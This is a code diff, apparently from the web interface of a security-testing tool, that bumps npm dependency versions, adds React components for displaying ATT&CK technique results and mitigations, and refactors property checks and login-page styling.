"tslib": "^1",
"uuid": "^8.2.0"
},
"dependencies": {
"debug": {
@ -15054,6 +15000,11 @@
"ms": "^2.1.1"
}
},
"mkdirp": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
"integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
@ -15086,6 +15037,21 @@
"source-map-support": "^0.5.7",
"tslib": "^1.9.3",
"uuid": "^3.3.2"
},
"dependencies": {
"event-loop-spinner": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz",
"integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==",
"requires": {
"tslib": "^1.10.0"
}
},
"uuid": {
"version": "3.4.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
"integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A=="
}
}
},
"tmp": {
@ -15095,6 +15061,11 @@
"requires": {
"rimraf": "^3.0.0"
}
},
"uuid": {
"version": "8.3.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.0.tgz",
"integrity": "sha512-fX6Z5o4m6XsXBdli9g7DtWgAx+osMsRRZFKma1mIUsLCz6vRvv+pz5VNbyu9UEDzpMWulZfvpgb/cmDXVulYFQ=="
}
}
},
@ -15213,6 +15184,43 @@
"tslib": "^2.0.0"
},
"dependencies": {
"@snyk/cli-interface": {
"version": "2.8.0",
"resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz",
"integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==",
"requires": {
"@snyk/dep-graph": "1.19.0",
"@snyk/graphlib": "2.1.9-patch",
"tslib": "^1.9.3"
},
"dependencies": {
"@snyk/dep-graph": {
"version": "1.19.0",
"resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz",
"integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==",
"requires": {
"@snyk/graphlib": "2.1.9-patch",
"lodash.isequal": "^4.5.0",
"object-hash": "^2.0.3",
"semver": "^6.0.0",
"source-map-support": "^0.5.19",
"tslib": "^2.0.0"
},
"dependencies": {
"tslib": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz",
"integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ=="
}
}
},
"tslib": {
"version": "1.13.0",
"resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
"integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
}
}
},
"ansi-styles": {
"version": "4.2.1",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
@ -15270,10 +15278,15 @@
"glob": "^7.1.3"
}
},
"semver": {
"version": "6.3.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
"integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
},
"supports-color": {
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
"integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
"version": "7.2.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"requires": {
"has-flag": "^4.0.0"
}
@ -15339,26 +15352,18 @@
}
},
"snyk-mvn-plugin": {
"version": "2.17.1",
"resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.17.1.tgz",
"integrity": "sha512-U7ZKrKVnUW2gcyYIzvc0w9nRYh4NXv+wShTIcs++ARCAJOG9A4nxh+ZRmINQ7Sy7EB2qLIRwN4Ssr17+y2mhuA==",
"version": "2.19.1",
"resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.19.1.tgz",
"integrity": "sha512-VXYJSdhUmOQAyxdsv5frAKbi3UOcHPabWEQxQ9wxhVBEEmx2lP5ajv1a+ntxwWwL7u3jdc+rnCIKHpLlQJ5nyw==",
"requires": {
"@snyk/cli-interface": "2.5.0",
"@snyk/java-call-graph-builder": "1.10.0",
"@snyk/cli-interface": "2.8.1",
"@snyk/java-call-graph-builder": "1.13.1",
"debug": "^4.1.1",
"needle": "^2.5.0",
"tmp": "^0.1.0",
"tslib": "1.11.1"
},
"dependencies": {
"@snyk/cli-interface": {
"version": "2.5.0",
"resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.5.0.tgz",
"integrity": "sha512-XMc2SCFH4RBSncZgoPb+BBlNq0NYpEpCzptKi69qyMpBy0VsRqIQqddedaazMCU1xEpXTytq6KMYpzUafZzp5Q==",
"requires": {
"tslib": "^1.9.3"
}
},
"debug": {
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
@ -15407,16 +15412,6 @@
"tslib": "^1.9.3",
"uuid": "^3.3.2",
"yaml": "^1.9.2"
},
"dependencies": {
"event-loop-spinner": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz",
"integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==",
"requires": {
"tslib": "^1.10.0"
}
}
}
},
"snyk-nuget-plugin": {
@ -16821,9 +16816,9 @@
"integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw=="
},
"terser": {
"version": "4.6.13",
"resolved": "https://registry.npmjs.org/terser/-/terser-4.6.13.tgz",
"integrity": "sha512-wMvqukYgVpQlymbnNbabVZbtM6PN63AzqexpwJL8tbh/mRT9LE5o+ruVduAGL7D6Fpjl+Q+06U5I9Ul82odAhw==",
"version": "4.8.0",
"resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz",
"integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==",
"dev": true,
"requires": {
"commander": "^2.20.0",
@ -16840,16 +16835,16 @@
}
},
"terser-webpack-plugin": {
"version": "1.4.3",
"resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.3.tgz",
"integrity": "sha512-QMxecFz/gHQwteWwSo5nTc6UaICqN1bMedC5sMtUc7y3Ha3Q8y6ZO0iCR8pq4RJC8Hjf0FEPEHZqcMB/+DFCrA==",
"version": "1.4.5",
"resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz",
"integrity": "sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==",
"dev": true,
"requires": {
"cacache": "^12.0.2",
"find-cache-dir": "^2.1.0",
"is-wsl": "^1.1.0",
"schema-utils": "^1.0.0",
"serialize-javascript": "^2.1.2",
"serialize-javascript": "^4.0.0",
"source-map": "^0.6.1",
"terser": "^4.1.2",
"webpack-sources": "^1.4.0",
@ -17197,9 +17192,9 @@
}
},
"underscore": {
"version": "1.10.2",
"resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz",
"integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg=="
"version": "1.11.0",
"resolved": "https://registry.npmjs.org/underscore/-/underscore-1.11.0.tgz",
"integrity": "sha512-xY96SsN3NA461qIRKZ/+qox37YXPtSBswMGfiNptr+wrt6ds4HaMw23TP612fEyGekRE6LNRiLYr/aqbHXNedw=="
},
"unherit": {
"version": "1.1.3",
@ -17417,9 +17412,9 @@
"dev": true
},
"update-notifier": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.0.tgz",
"integrity": "sha512-w3doE1qtI0/ZmgeoDoARmI5fjDoT93IfKgEGqm26dGUOh8oNpaSTsGNdYRN/SjOuo10jcJGwkEL3mroKzktkew==",
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.1.tgz",
"integrity": "sha512-9y+Kds0+LoLG6yN802wVXoIfxYEwh3FlZwzMwpCZp62S2i1/Jzeqb9Eeeju3NSHccGGasfGlK5/vEHbAifYRDg==",
"requires": {
"boxen": "^4.2.0",
"chalk": "^3.0.0",
@ -17478,9 +17473,9 @@
"integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM="
},
"supports-color": {
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
"integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
"version": "7.2.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"requires": {
"has-flag": "^4.0.0"
}

View File

@ -65,14 +65,14 @@
"@fortawesome/free-solid-svg-icons": "^5.13.1",
"@fortawesome/react-fontawesome": "^0.1.11",
"@kunukn/react-collapse": "^1.2.7",
"bootstrap": "^4.5.0",
"bootstrap": "^4.5.1",
"classnames": "^2.2.6",
"core-js": "^3.6.5",
"d3": "^5.14.1",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"file-saver": "^2.0.2",
"filepond": "^4.18.0",
"filepond": "^4.19.2",
"jwt-decode": "^2.2.0",
"lodash": "^4.17.20",
"marked": "^1.1.1",
@ -94,7 +94,7 @@
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.5",
"react-hot-loader": "^4.12.20",
"react-json-tree": "^0.11.2",
"react-json-tree": "^0.12.0",
"react-jsonschema-form-bs4": "^1.7.1",
"react-particles-js": "^3.3.0",
"react-redux": "^5.1.2",
@ -105,7 +105,7 @@
"react-tooltip-lite": "^1.12.0",
"redux": "^4.0.4",
"sha3": "^2.1.3",
"snyk": "^1.363.0"
"snyk": "^1.372.0"
},
"snyk": true
}

View File

@ -24,6 +24,7 @@ import 'react-toggle/style.css';
import 'react-table/react-table.css';
import notificationIcon from '../images/notification-logo-512x512.png';
import {StandardLayoutComponent} from './layouts/StandardLayoutComponent';
import LoadingScreen from './ui-components/LoadingScreen';
const reportZeroTrustRoute = '/report/zeroTrust';
@ -82,10 +83,10 @@ class AppComponent extends AuthComponent {
case false:
return <Redirect to={{pathname: '/login'}}/>;
default:
return page_component;
return <LoadingScreen text={'Loading page...'}/>;
}
default:
return page_component;
return <LoadingScreen text={'Loading page...'}/>;
}
};

View File

@ -0,0 +1,45 @@
import React from 'react';
import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
import MitigationsComponent from './MitigationsComponent';
class T1087 extends React.Component {
constructor(props) {
super(props);
}
static getColumns() {
return ([{
columns: [
{ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}},
{ Header: 'Result',
id: 'result',
accessor: x => x.result,
style: {'whiteSpace': 'unset'}}
]
}])
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1087.getColumns()}
data={this.props.data.info}
showPagination={false}
defaultPageSize={this.props.data.info.length}
/> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div>
);
}
}
export default T1087;

View File

@ -0,0 +1,45 @@
import React from 'react';
import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
import MitigationsComponent from './MitigationsComponent';
class T1099 extends React.Component {
constructor(props) {
super(props);
}
static getColumns() {
return ([{
columns: [
{ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}},
{ Header: 'Result',
id: 'result',
accessor: x => x.result,
style: {'whiteSpace': 'unset'}}
]
}])
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1099.getColumns()}
data={this.props.data.info}
showPagination={false}
defaultPageSize={this.props.data.info.length}
/> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div>
);
}
}
export default T1099;

View File

@ -0,0 +1,45 @@
import React from 'react';
import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
import MitigationsComponent from './MitigationsComponent';
class T1146 extends React.Component {
constructor(props) {
super(props);
}
static getColumns() {
return ([{
columns: [
{ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}},
{ Header: 'Result',
id: 'result',
accessor: x => x.result,
style: {'whiteSpace': 'unset'}}
]
}])
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1146.getColumns()}
data={this.props.data.info}
showPagination={false}
defaultPageSize={this.props.data.info.length}
/> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div>
);
}
}
export default T1146;

View File

@ -0,0 +1,45 @@
import React from 'react';
import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
import MitigationsComponent from './MitigationsComponent';
class T1216 extends React.Component {
constructor(props) {
super(props);
}
static getColumns() {
return ([{
columns: [
{ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}},
{ Header: 'Result',
id: 'result',
accessor: x => x.result,
style: {'whiteSpace': 'unset'}}
]
}])
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1216.getColumns()}
data={this.props.data.info}
showPagination={false}
defaultPageSize={this.props.data.info.length}
/> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div>
);
}
}
export default T1216;

View File

@ -274,9 +274,9 @@ class PreviewPaneComponent extends AuthComponent {
let label = '';
if (!this.props.item) {
label = '';
} else if (this.props.item.hasOwnProperty('label')) {
} else if (Object.prototype.hasOwnProperty.call(this.props.item, 'label')) {
label = this.props.item['label'];
} else if (this.props.item.hasOwnProperty('_label')) {
} else if (Object.prototype.hasOwnProperty.call(this.props.item, '_label')) {
label = this.props.item['_label'];
}

View File

@ -140,7 +140,7 @@ class ConfigurePageComponent extends AuthComponent {
// Change value in attack configuration
// Go trough each column in matrix, searching for technique
Object.entries(this.state.attackConfig).forEach(techType => {
if (techType[1].properties.hasOwnProperty(technique)) {
if (Object.prototype.hasOwnProperty.call(techType[1].properties, technique)) {
let tempMatrix = this.state.attackConfig;
tempMatrix[techType[0]].properties[technique].value = value;
this.setState({attackConfig: tempMatrix});
@ -151,7 +151,8 @@ class ConfigurePageComponent extends AuthComponent {
Object.entries(this.state.attackConfig).forEach(otherType => {
Object.entries(otherType[1].properties).forEach(otherTech => {
// If this technique depends on a technique that was changed
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) {
if (Object.prototype.hasOwnProperty.call(otherTech[1], 'depends_on') &&
otherTech[1]['depends_on'].includes(technique)) {
this.attackTechniqueChange(otherTech[0], value, true)
}
})
@ -393,7 +394,7 @@ class ConfigurePageComponent extends AuthComponent {
render() {
let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') {
if (Object.prototype.hasOwnProperty.call(this.state.schema, 'properties') && this.state.selectedSection !== 'attack') {
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions'];
}

View File

@ -2,9 +2,8 @@ import React from 'react';
import {Button, Col, Container, Form, Row} from 'react-bootstrap';
import AuthService from '../../services/AuthService';
import Particles from 'react-particles-js';
import {particleParams} from '../../styles/components/particle-component/AuthPageParams';
import monkeyGeneral from '../../images/militant-monkey.svg';
import ParticleBackground from '../ui-components/ParticleBackground';
class LoginPageComponent extends React.Component {
login = (event) => {
@ -60,7 +59,7 @@ class LoginPageComponent extends React.Component {
render() {
return (
<Container fluid className={'auth-container'}>
<Particles className={'particle-background'} params={particleParams}/>
<ParticleBackground/>
<Row>
<Col xs={12} lg={{span: 6, offset: 3}} md={{span: 7, offset: 3}} className={'auth-block'}>
<Row>

View File

@ -64,7 +64,7 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/netmap')
.then(res => res.json())
.then(res => {
if (res.hasOwnProperty('edges')) {
if (Object.prototype.hasOwnProperty.call(res, 'edges')) {
res.edges.forEach(edge => {
edge.color = {'color': edgeGroupToColor(edge.group)};
});

View File

@ -1,10 +1,9 @@
import React from 'react';
import {Row, Col, Container, Form, Button} from 'react-bootstrap';
import Particles from 'react-particles-js';
import AuthService from '../../services/AuthService';
import {particleParams} from '../../styles/components/particle-component/AuthPageParams';
import monkeyDetective from '../../images/detective-monkey.svg';
import ParticleBackground from '../ui-components/ParticleBackground';
class RegisterPageComponent extends React.Component {
@ -81,7 +80,7 @@ class RegisterPageComponent extends React.Component {
render() {
return (
<Container fluid className={'auth-container'}>
<Particles className={'particle-background'} params={particleParams}/>
<ParticleBackground />
<Row>
<Col xs={12} lg={{span: 6, offset: 3}} md={{span: 7, offset: 3}}
className={'auth-block'}>

Some files were not shown because too many files have changed in this diff Show More